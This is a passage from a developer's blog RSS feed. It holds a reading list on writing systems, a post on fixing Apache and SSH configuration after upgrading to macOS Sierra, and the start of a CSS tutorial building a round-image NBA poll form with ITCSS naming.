&lt;p&gt;I&apos;m lucky enough to be fluent in Chinese, and hence there is a wealth of resources written from an Eastern perspective (okay, mainly Chinese) that are accessible to me. But this also made me realise that the onus is on me to seek out perspectives that are different from what I&apos;m familiar with. There are so many different writing systems and scripts other than those I&apos;m familiar with, and I&apos;ll definitely be looking into those moving forward. Fun times ahead, people.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;h3&gt;For historical context&lt;/h3&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://globalization.icaap.org/content/v4.2/bosworth.html&quot;&gt;Globalization in the Information Age: Western, Chinese and Arabic Writing Systems&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.shobserver.com/news/detail?id=1563&quot;&gt;中文书啥时开始“变横”的？&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;On specifications&lt;/h3&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://drafts.csswg.org/css-writing-modes-3/&quot;&gt;CSS Writing Modes Level 3&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://developer.mozilla.org/en/docs/Web/CSS/writing-mode&quot;&gt;writing-mode on MDN&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://unicode.org/reports/tr9/&quot;&gt;Unicode Bidirectional Algorithm&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.w3.org/International/articles/inline-bidi-markup/uba-basics&quot;&gt;Unicode Bidirectional Algorithm basics&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://w3c.github.io/typography/&quot;&gt;Improving text layout and typography on the Web and in eBooks&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.w3.org/TR/clreq/#characters_and_the_principles_of_setting_them_for_chinese_composition&quot;&gt;Requirements for Chinese Text Layout&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;On design and typography&lt;/h3&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://medium.com/@bobtung/best-practice-in-chinese-layout-f933aff1728f#.yrd09wz1h&quot;&gt;Best Practices for Chinese Layout&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://hanzi.pro/manual/&quot;&gt;汉字标准格式&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://www.comdesignlab.com/typochina/chinese&quot;&gt;Typochina&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://blog.justfont.com/&quot;&gt;JustFont Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://www.slideshare.net/cxpartners/chinese-web-design-patterns-how-and-why-theyre-different/&quot;&gt;Chinese web design patterns&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://daoinsights.com/chinese-user-experience-how-we-read-on-the-web/&quot;&gt;CHINESE USER EXPERIENCE – How We Read On The Web&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.smashingmagazine.com/author/kendraschaefer/?rel=author&quot;&gt;On China’s Bleeding Edge: Web Design Trends 2015&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://dangrover.com/blog/2016/01/31/more-chinese-mobile-ui-trends.html&quot;&gt;More Chinese Mobile UI Trends&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>Upgrading to macOS Sierra</title><link>https://chenhuijing.com/blog/upgrading-mac-osx/</link><guid isPermaLink="true">https://chenhuijing.com/blog/upgrading-mac-osx/</guid><description>macOS Sierra was officially released on 20 September 2016. That&apos;s 1 week ago at time of writing. The day of the release, there were loads of articles appearing…</description><pubDate>Tue, 27 Sep 2016 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;macOS Sierra was officially released on 20 September 2016. That&apos;s 1 week ago at time of writing. The day of the release, there were loads of articles appearing in my RSS feed (yes, I still use one, stop judging &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;angry face&quot;&gt;😠&lt;/span&gt;) with the title &amp;quot;Should you upgrade to macOS Sierra?&amp;quot; or something along those lines.&lt;/p&gt;
&lt;p&gt;I skimmed through those articles but nothing significant jumped out at me other that some people had issues with their Keychain access or something. But given I was in the midst of crunch time for a project, I held off on upgrading until yesterday. Given my machine is an early-2015 MacBook Pro running El Capitan, I thought it wouldn&apos;t be much trouble to upgrade.&lt;/p&gt;
&lt;p&gt;I&apos;m the type of person who likes to keep my software as updated as possible. You know, those people who run &lt;code&gt;brew update &amp;amp;&amp;amp; brew upgrade --all&lt;/code&gt; every morning and &lt;code&gt;sudo apt-get upgrade&lt;/code&gt; their servers every time they login? Yes, I&apos;m &lt;em&gt;one of those&lt;/em&gt; (what did we say about judging earlier?).&lt;/p&gt;
&lt;p&gt;Anyway, the overall experience was pretty smooth, largely because of my prior experience with updating from Yosemite to El Capitan and spent quite a long time re-configuring Apache. This time, I kinda already knew what to expect.&lt;/p&gt;
&lt;h2&gt;Download the update&lt;/h2&gt;
&lt;p&gt;First things first, actually get the update. Just open up the App Store and download the macOS Sierra update. It&apos;s filed under &lt;em&gt;Utilities&lt;/em&gt;. Go through the pointy-clicky wizard bits where you have to agree to the terms and conditions and let your machine do its thing. I was actually watching Mr Robot while this was happening, so for me, this part was pretty uneventful. It probably took all of 30 minutes?&lt;/p&gt;
&lt;h2&gt;Web development stuff&lt;/h2&gt;
&lt;p&gt;Because I use my machine to earn a living, it is configured for web development. I don&apos;t use MAMP, instead I followed &lt;a href=&quot;https://getgrav.org/blog/mac-os-x-apache-setup-multiple-php-versions&quot;&gt;OS X 10.11 El Capitan Apache Setup: Multiple PHP Versions&lt;/a&gt; earlier this year when I reformatted my machine. I already did something similar when running Yosemite but I messed up during the upgrade to El Capitan and after a couple months I thought I&apos;d just start from a clean slate.&lt;/p&gt;
&lt;p&gt;My observation is that every time you upgrade the OS, your Apache configuration gets reset. Even though the OS saves a copy as &lt;code&gt;httpd.conf~previous&lt;/code&gt;, this backed-up version had some lines I needed commented out. &lt;span class=&quot;kaomoji&quot;&gt;¯\_(ツ)_/¯&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;I checked back with the guides I followed previously and double-checked that these lines were uncommented:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-apache&quot;&gt;LoadModule authz_core_module libexec/apache2/mod_authz_core.so
LoadModule authz_host_module libexec/apache2/mod_authz_host.so
LoadModule userdir_module libexec/apache2/mod_userdir.so
LoadModule include_module libexec/apache2/mod_include.so
LoadModule rewrite_module libexec/apache2/mod_rewrite.so
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;Note: they don&apos;t appear in this order so use the Command+F function to find them.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;But in general, I think it&apos;s safe to just save a copy of the current &lt;code&gt;httpd.conf&lt;/code&gt; file and restore the previous version. I may or may not have messed up the &lt;code&gt;httpd.conf&lt;/code&gt; file all on my own.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Rename the current file, just in case.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;sudo mv /etc/apache2/httpd.conf /etc/apache2/httpd.conf.new
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Restore the configuration file you so painstakingly setup the last time around.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;sudo mv /etc/apache2/httpd.conf~previous /etc/apache2/httpd.conf
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;I also use a nifty tool called &lt;a href=&quot;http://www.thekelleys.org.uk/dnsmasq/doc.html&quot;&gt;dnsmasq&lt;/a&gt;, which you can download using &lt;a href=&quot;http://brew.sh/index.html&quot;&gt;Homebrew&lt;/a&gt;. It&apos;s a set-it-and-forget-it solution for redirecting local development sites on your machine. Instructions to set this up can be found in the article &lt;a href=&quot;https://mallinson.ca/osx-web-development/&quot;&gt;The Perfect Web Development Environment for Your New Mac&lt;/a&gt;. So I also had to restore my Virtual Hosts configuration file.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Rename the current file, just in case.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;sudo mv /etc/apache2/extra/httpd-vhosts.conf /etc/apache2/extra/httpd-vhosts.conf.new
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Restore the configuration file you so painstakingly setup the last time around.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;sudo mv /etc/apache2/extra/httpd-vhosts.conf~previous /etc/apache2/extra/httpd-vhosts.conf
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;SSH took me a while to figure out&lt;/h2&gt;
&lt;p&gt;The only thing that stumped me this time was the ssh configuration. macOS Sierra now uses OpenSSH_7.2p2, while El Capitan used OpenSSH_6.9p1. I&apos;m guessing that with this version upgrade, the ssh configuration file had changed as well.&lt;/p&gt;
&lt;p&gt;If you use AWS, you&apos;ll probably have a bunch of &lt;code&gt;.pem&lt;/code&gt; files in your &lt;code&gt;.ssh&lt;/code&gt; folder in addition to the standard &lt;code&gt;id_rsa&lt;/code&gt; and &lt;code&gt;id_rsa.pub&lt;/code&gt;. I didn&apos;t realise anything was wrong because I could continue ssh-ing into my servers but when I attempted to push code to my company&apos;s git server, I kept getting the dreaded &lt;code&gt;Permission denied (publickey).&lt;/code&gt; error.&lt;/p&gt;
&lt;p&gt;Turns out I had taken for granted that the &lt;code&gt;id_rsa&lt;/code&gt; file was loaded into the ssh-agent by default previously. When I finally got round to examining the ssh configuration file, I realised everything in there had been commented out.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Update: my friend &lt;a href=&quot;http://sahil.me/&quot;&gt;Sahil&lt;/a&gt; advised me that my original solution of editing the global ssh_config file wasn&apos;t such a great idea, so the post has been changed to reflect the better solution.&lt;/em&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;I like to use Sublime Text to edit my configuration files but you can use whatever you want. Create a &lt;em&gt;config&lt;/em&gt; file in your &lt;code&gt;~/.ssh&lt;/code&gt; folder if you don&apos;t have one already. Note there are no file extensions here.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;sudo sublime ~/.ssh/config
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Add the line that specifies id&lt;em&gt;rsa as the private key you want to use for authentication. The good part about having this _config&lt;/em&gt; file is that you can add other authentication keys here too so you don&apos;t have to manually add them to your ssh-agent every time you start a new session.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;IdentityFile ~/.ssh/id_rsa
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;All in all, this update was pretty trouble-free. Nothing really broke. So it&apos;s either I&apos;m kinda lucky, or this update is kinda safe.&lt;/p&gt;
&lt;p&gt;&lt;img
  src=&quot;/images/posts/sierra/good-sign.jpg&quot;
  srcset=&quot;/images/posts/sierra/good-sign@2x.jpg 2x&quot;
  alt=&quot;This is a good sign&quot;
/&gt;&lt;/p&gt;
&lt;p&gt;So make your own decision whether to upgrade or not, and may the odds ever be in your favour &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;smiling face with horns&quot;&gt;😈&lt;/span&gt;.&lt;/p&gt;
</content:encoded></item><item><title>Fun with CSS: NBA edition</title><link>https://chenhuijing.com/blog/progressive-enhancement-experiment/</link><guid isPermaLink="true">https://chenhuijing.com/blog/progressive-enhancement-experiment/</guid><description>This is my second &quot;Fun with CSS&quot; post, maybe this should become a series. But anyway, I had watched the video of Ethan Marcotte&apos;s talk at An Event Apart called…</description><pubDate>Sun, 11 Sep 2016 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This is my second &amp;quot;Fun with CSS&amp;quot; post, maybe this should become a series. But anyway, I had watched the video of &lt;a href=&quot;http://ethanmarcotte.com/&quot;&gt;Ethan Marcotte&lt;/a&gt;&apos;s talk at &lt;a href=&quot;http://aneventapart.com/&quot;&gt;An Event Apart&lt;/a&gt; called &lt;a href=&quot;https://vimeo.com/165061923&quot;&gt;Laziness in the Time of Responsive Design&lt;/a&gt;, and was fascinated by his progressive enhancement demo. It starts at around the 48 minute mark where he starts covering animation.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Design the transaction not the interface.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;In the context of his demo, the transaction was to make a choice and submit it. This could have been achieved with a form consisting of a simple set of radio buttons and a submission button. It is key that the transaction works in all scenarios, while the interface can differ. I highly recommend watching the entire talk, definitely lots to take away from it. The end result of the demo was really cool, and I wanted to recreate it, just for kicks.&lt;/p&gt;
&lt;p&gt;Wasn&apos;t as straightforward as I thought, largely because the code snippets in the presentation were focused only on the key parts of the implementation, but to get the entire thing to work required some more effort. I also took a lot of &lt;a href=&quot;http://csswizardry.com/&quot;&gt;Harry Roberts&lt;/a&gt;&apos;s guidance on how to structure CSS to heart, especially after I watched &lt;a href=&quot;https://vimeo.com/177216958&quot;&gt;CSS for Software Engineers for CSS Developers&lt;/a&gt;. So this experiment took me around 2 days, and a lot of that time was spent just thinking about how to structure my CSS classes and HTML. &lt;span class=&quot;kaomoji&quot;&gt;¯\_(ツ)_/¯&lt;/span&gt;&lt;/p&gt;
&lt;h2&gt;Basic HTML structure&lt;/h2&gt;
&lt;p&gt;My usual workflow starts off with plain HTML elements, without classes or even wrapper divs for that matter. Personally I&apos;m not a big fan of infinitely nested HTML to begin with, so I&apos;m really scrooge-y about adding them.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;main&amp;gt;
  &amp;lt;h1&amp;gt;Which was the best moment in Game 7 of the 2016 NBA Finals?&amp;lt;/h1&amp;gt;

  &amp;lt;form action=&amp;quot;#&amp;quot; method=&amp;quot;POST&amp;quot;&amp;gt;
    &amp;lt;label&amp;gt;
      &amp;lt;input type=&amp;quot;radio&amp;quot; name=&amp;quot;moment&amp;quot; value=&amp;quot;block&amp;quot; /&amp;gt;
      &amp;lt;img src=&amp;quot;https://www.chenhuijing.com/filerepo/block.jpg&amp;quot; alt=&amp;quot;The Block&amp;quot; /&amp;gt;
      &amp;lt;span&amp;gt;The Block&amp;lt;/span&amp;gt;
    &amp;lt;/label&amp;gt;

    &amp;lt;label&amp;gt;
      &amp;lt;input type=&amp;quot;radio&amp;quot; name=&amp;quot;moment&amp;quot; value=&amp;quot;shot&amp;quot; /&amp;gt;
      &amp;lt;img src=&amp;quot;https://www.chenhuijing.com/filerepo/shot.jpg&amp;quot; alt=&amp;quot;The Shot&amp;quot; /&amp;gt;
      &amp;lt;span&amp;gt;The Shot&amp;lt;/span&amp;gt;
    &amp;lt;/label&amp;gt;

    &amp;lt;label&amp;gt;
      &amp;lt;input type=&amp;quot;radio&amp;quot; name=&amp;quot;moment&amp;quot; value=&amp;quot;stop&amp;quot; /&amp;gt;
      &amp;lt;img src=&amp;quot;https://www.chenhuijing.com/filerepo/stop.jpg&amp;quot; alt=&amp;quot;The Stop&amp;quot; /&amp;gt;
      &amp;lt;span&amp;gt;The Stop&amp;lt;/span&amp;gt;
    &amp;lt;/label&amp;gt;

    &amp;lt;label&amp;gt;
      &amp;lt;input type=&amp;quot;radio&amp;quot; name=&amp;quot;moment&amp;quot; value=&amp;quot;feelz&amp;quot; /&amp;gt;
      &amp;lt;img src=&amp;quot;https://www.chenhuijing.com/filerepo/feels.jpg&amp;quot; alt=&amp;quot;The Feelz&amp;quot; /&amp;gt;
      &amp;lt;span&amp;gt;The Feelz&amp;lt;/span&amp;gt;
    &amp;lt;/label&amp;gt;

    &amp;lt;button type=&amp;quot;reset&amp;quot;&amp;gt;Cancel&amp;lt;/button&amp;gt;
    &amp;lt;button&amp;gt;OK&amp;lt;/button&amp;gt;
  &amp;lt;/form&amp;gt;
&amp;lt;/main&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I went back-and-forth for a bit on whether I wanted the label to wrap the input element or use a &lt;code&gt;for&lt;/code&gt; attribute with an id but eventually settled on wrapping everything up in the label element. It matters to link the label to its respective input from a semantic perspective as well to ensure a larger target for selection.&lt;/p&gt;
&lt;p&gt;The progressive enhancement for my experiment is definitely not as robust as it could be, as I admittedly skipped straight to browsers that support flexbox and border-radius. Maybe one day when I have more time on my hands, I&apos;ll modify the code so it can run on really old browsers.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Intermission time...&lt;br&gt;
Speaking of really old browsers, I recently attended the &lt;a href=&quot;http://www.meetup.com/Hackware/events/233881260/&quot;&gt;Vintage Computing edition&lt;/a&gt; of &lt;a href=&quot;http://www.meetup.com/Hackware/&quot;&gt;Hackware&lt;/a&gt;, which is a monthly meet-up for hardware developers and enthusiasts.&lt;br&gt;
And my brilliant friend, &lt;a href=&quot;http://yeokhengmeng.com/&quot;&gt;Kheng Meng&lt;/a&gt; managed to get Windows 3.1 running on modern hardware, it was brilliant. We realised that IE5 does not support HTTPS, rendering many websites unusable. Guess who works perfectly? &lt;a href=&quot;http://Google.com&quot;&gt;Google.com&lt;/a&gt;! &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;clapping hands&quot;&gt;👏&lt;/span&gt; for backward compatibility.&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Add a little style...&lt;/h2&gt;
&lt;p&gt;Okay, so the basic version in the video was a row of radio buttons with images in the labels, plus some styles for the buttons at the bottom. I simply didn&apos;t feel like writing extra styles for that so I skipped straight to the big round image-as-selectors version. #imalazygudetama&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;
    *rolls up sleeves attempting to code*...then
    &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person walking&quot;&gt;
      &amp;#x1F6B6;
    &lt;/span&gt;
  &lt;/figcaption&gt;
  &lt;img
    src=&quot;/images/posts/pwd/basic-640.jpg&quot;
    srcset=&quot;/images/posts/pwd/basic-480.jpg 480w, /images/posts/pwd/basic-640.jpg 640w, /images/posts/pwd/basic-960.jpg 960w, /images/posts/pwd/basic-1280.jpg 1280w&quot;
    sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
    alt=&quot;Basic styles&quot;
  /&gt;
&lt;/figure&gt;
&lt;p&gt;In hindsight, the work needed from style-less to slightly-more-enhanced styles was a little more work that I expected. But it did give me a good chance to refresh my knowledge on CSS properties.&lt;/p&gt;
&lt;div class=&quot;figure-wrapper&quot;&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;No styles at all&lt;/figcaption&gt;
    &lt;img
      src=&quot;/images/posts/pwd/nostyles.jpg&quot;
      srcset=&quot;/images/posts/pwd/nostyles@2x.jpg 2x&quot;
      alt=&quot;Style-less before version&quot;
    /&gt;
  &lt;/figure&gt;
  &lt;figure class=&quot;multiple&quot;&gt;
    &lt;figcaption&gt;Slightly-more-enhanced&lt;/figcaption&gt;
    &lt;img
      src=&quot;/images/posts/pwd/styled.jpg&quot;
      srcset=&quot;/images/posts/pwd/styled@2x.jpg 2x&quot;
      alt=&quot;Styled after version&quot;
    /&gt;
  &lt;/figure&gt;
&lt;/div&gt;
&lt;h3&gt;First things first: generic styles&lt;/h3&gt;
&lt;p&gt;Something I always do, and in this case Codepen does it by default, is set up some basic resets, and normalise &lt;code&gt;box-sizing&lt;/code&gt; to &lt;code&gt;border-box&lt;/code&gt; with my go-to snippet below. For my own projects, I customise the resets to what I actually use (because I&apos;m OCD) rather than taking a pre-written reset stylesheet verbatim.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;html {
  box-sizing: border-box;
}

*,
*::before,
*::after {
  box-sizing: inherit;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Tossed in some overall alignment and padding styles, because somehow I like things centred. Also used some custom webfonts (yes, I know performance things, I only used 2 fonts and 1 weight each, don&apos;t judge me...)&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;@import &amp;quot;https://fonts.googleapis.com/css?family=Shrikhand|Yantramanav&amp;quot;;

main {
  padding: 1em;
  font-family: &amp;quot;Yantramanav&amp;quot;, sans-serif;
  max-width: 65em;
}

h1 {
  font-family: &amp;quot;Shrikhand&amp;quot;, cursive;
  font-size: calc(3vw + 1em); /* we&apos;ll talk about this line later */
  line-height: 1.2;
  margin-bottom: 0.5em;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;ITCSS (or at least I try to)&lt;/h2&gt;
&lt;p&gt;ITCSS is the CSS architectural style I aspire toward, though it still doesn&apos;t come easy to me. I&apos;ve bookmarked &lt;a href=&quot;http://csswizardry.com/2015/03/more-transparent-ui-code-with-namespaces/&quot;&gt;More Transparent UI Code with Namespaces&lt;/a&gt; and refer back to it constantly. It&apos;s a long article but really worth your time to read through and understand the principles behind this style of architecting your CSS. Admittedly I don&apos;t think I have gotten everything down pat, so please ping me if you have suggestions on how to make my code better &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;relieved face&quot;&gt;😌&lt;/span&gt;.&lt;/p&gt;
&lt;h3&gt;O is for object&lt;/h3&gt;
&lt;p&gt;I considered each of my label-wrapped radio buttons objects. By definition, an object may be used in any number of unrelated contexts to the one you can currently see it in. I thought about this for a long time, and in a larger project, I would classify the options as components. But for this case, additional content would simply be more questions, so a different context would probably be 3 options instead of 4.&lt;/p&gt;
&lt;p&gt;In terms of scalability, I probably should have gone with components, but I guess that&apos;s why we refactor code, no? Anyway, buttons are objects too, resulting in the following 2 classes: &lt;code&gt;o-option&lt;/code&gt; and &lt;code&gt;o-btn&lt;/code&gt;.
The nested elements in the labels were name-spaced with double underscores:&lt;br&gt;
&lt;code&gt;o-option__img&lt;/code&gt;&lt;br&gt;
&lt;code&gt;o-option__input&lt;/code&gt;&lt;br&gt;
&lt;code&gt;o-option__txt&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Here&apos;s the end markup for the options (I only show 1 for brevity), which includes additional classes for other purposes. I was trying to go for the single responsibility principle here, so you&apos;ll see multiple classes per element quite often.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;div class=&amp;quot;l-flex-parent c-4options u-margin-bot&amp;quot; id=&amp;quot;js-options&amp;quot;&amp;gt;
  &amp;lt;label class=&amp;quot;l-flex-1_4 o-option js-option&amp;quot;&amp;gt;
    &amp;lt;input class=&amp;quot;o-option__input&amp;quot; type=&amp;quot;radio&amp;quot; name=&amp;quot;moment&amp;quot; value=&amp;quot;block&amp;quot; /&amp;gt;
    &amp;lt;img
      src=&amp;quot;https://www.chenhuijing.com/filerepo/block.jpg&amp;quot;
      alt=&amp;quot;The Block&amp;quot;
      class=&amp;quot;o-option__img&amp;quot;
    /&amp;gt;
    &amp;lt;span class=&amp;quot;o-option__txt&amp;quot;&amp;gt;The Block&amp;lt;/span&amp;gt;
  &amp;lt;/label&amp;gt;
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Since the labels are all linked to their respective radio buttons, we can safely hide them away. But we can still utilise the pseudo-class &lt;code&gt;:checked&lt;/code&gt; to indicate when an option is selected. In this case, the ordering of my elements within the label starts with radio element, then image, then text. So I used the adjacent sibling selector to target the image, and the general sibling selector for the text. Yes, it would still work if I used the general sibling selector for both elements. Somebody please tell me if there are performance implications or any browser bugs with regards to these 2 types of sibling selectors &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;folded hands&quot;&gt;🙏&lt;/span&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.o-option__input {
  opacity: 0;
  position: absolute;
  pointer-events: none;

  &amp;amp;:checked + .o-option__img {
    border-color: #860038;
  }

  &amp;amp;:checked ~ .o-option__txt {
    color: #860038;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I used vw as the unit because I wanted the images to resize nicely as the screen size changed. A maximum limit of 200px was included, otherwise it just got ridiculous at larger viewport widths. Other stylistic concerns include the 50% border radius for round images and the 4px border in Cleveland Cavalier team gold.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.o-option__img {
  width: 20vw;
  height: 20vw;
  max-height: 200px;
  max-width: 200px;
  margin-bottom: 1em;
  border-radius: 50%;
  border: 4px solid #fdbb30;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The buttons also needed their own wrapper, because the styles I used require a parent div to work. Don&apos;t get too confused by the name spacing of classes, I&apos;ll cover it a bit more later.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;div class=&amp;quot;l-flex-parent u-flex-end c-actions&amp;quot; id=&amp;quot;js-actions&amp;quot;&amp;gt;
  &amp;lt;div class=&amp;quot;l-flex-1_4&amp;quot;&amp;gt;
    &amp;lt;button class=&amp;quot;o-btn c-action js-btn&amp;quot; type=&amp;quot;reset&amp;quot;&amp;gt;Cancel&amp;lt;/button&amp;gt;
  &amp;lt;/div&amp;gt;
  &amp;lt;div class=&amp;quot;l-flex-1_4&amp;quot;&amp;gt;
    &amp;lt;button class=&amp;quot;o-btn c-action js-btn&amp;quot;&amp;gt;OK&amp;lt;/button&amp;gt;
  &amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Styles for the buttons were also similar, in that, they too would be big and round. Browsers apply default font-size styling to buttons, for example using Chrome on Mac, there is this line: &lt;code&gt;font: 11px BlinkMacSystemFont;&lt;/code&gt; and using Opera on Windows 10, there is &lt;code&gt;font: 13.3333px Arial;&lt;/code&gt;. Point being, if you don&apos;t explicitly set the font-size and font-family for your buttons, they may not look like you expect.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.o-btn {
  width: 20vw;
  height: 20vw;
  max-height: 200px;
  max-width: 200px;
  font-size: calc(1em + 1.5vw);
  font-family: inherit;
  border-radius: 50%;
  border: 0;
  outline: 0;
  background-color: #860038;
  color: #fdbb30;
  cursor: pointer;

  &amp;amp;:hover {
    background-color: #fdbb30;
    color: #860038;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;Update: thanks to &lt;a href=&quot;https://twitter.com/maxlibin/&quot;&gt;@maxlibin&lt;/a&gt; for pointing out my missing &amp;amp; on the :hover pseudo-class&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;For most cases, setting both properties to &lt;code&gt;inherit&lt;/code&gt; should make the text in your buttons match the rest of your site. In my quest for making this a responsive project, I chose to use vw as my unit of choice, tempered with a base size of 1em. I&apos;d love to be more scientific about this but did I mention my penchant for sloth? I can, however, refer you to &lt;a href=&quot;https://madebymike.com.au/writing/precise-control-responsive-typography/&quot;&gt;Precise control over responsive typography&lt;/a&gt; by &lt;a href=&quot;https://madebymike.com.au/&quot;&gt;Mike Riethmuller&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Again, some reset-related styles to get rid of the border and outline (yes accessibility concerns, I might just remove that outline reset). And some hover styles, which switched the background colour and text colour when people hovered over the buttons.&lt;/p&gt;
&lt;h3&gt;L is for layout&lt;/h3&gt;
&lt;p&gt;The layout used a 4-column grid, with the buttons aligning to the right. The thing about using flexbox is sometimes you end up having more parent divs than if you didn&apos;t. But then I think back to this quote by &lt;a href=&quot;https://rachelandrew.co.uk/&quot;&gt;Rachel Andrew&lt;/a&gt; from &lt;a href=&quot;https://rachelandrew.co.uk/archives/2016/03/25/making-sense-of-the-new-css-layout/&quot;&gt;her talk at Fluent Conf&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Flexbox for 1 dimensional layout&lt;br&gt;
CSS Grid is for 2 dimensional layout&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I would have done things differently using Grid, especially for the enhanced animation version, but for now, flexbox it is. The basic version is not all that complicated.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.l-flex-parent {
  display: flex;
}

.l-flex-1_4 {
  flex: 0 0 25%;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;U is for utility&lt;/h3&gt;
&lt;p&gt;I was first introduced to the concept of utility classes when I read Harry Roberts&apos; article back in 2015. But I only really caught on when he published &lt;a href=&quot;http://csswizardry.com/2016/05/the-importance-of-important/&quot;&gt;The Importance of !important: Forcing Immutability in CSS&lt;/a&gt; earlier this year.&lt;/p&gt;
&lt;blockquote&gt;
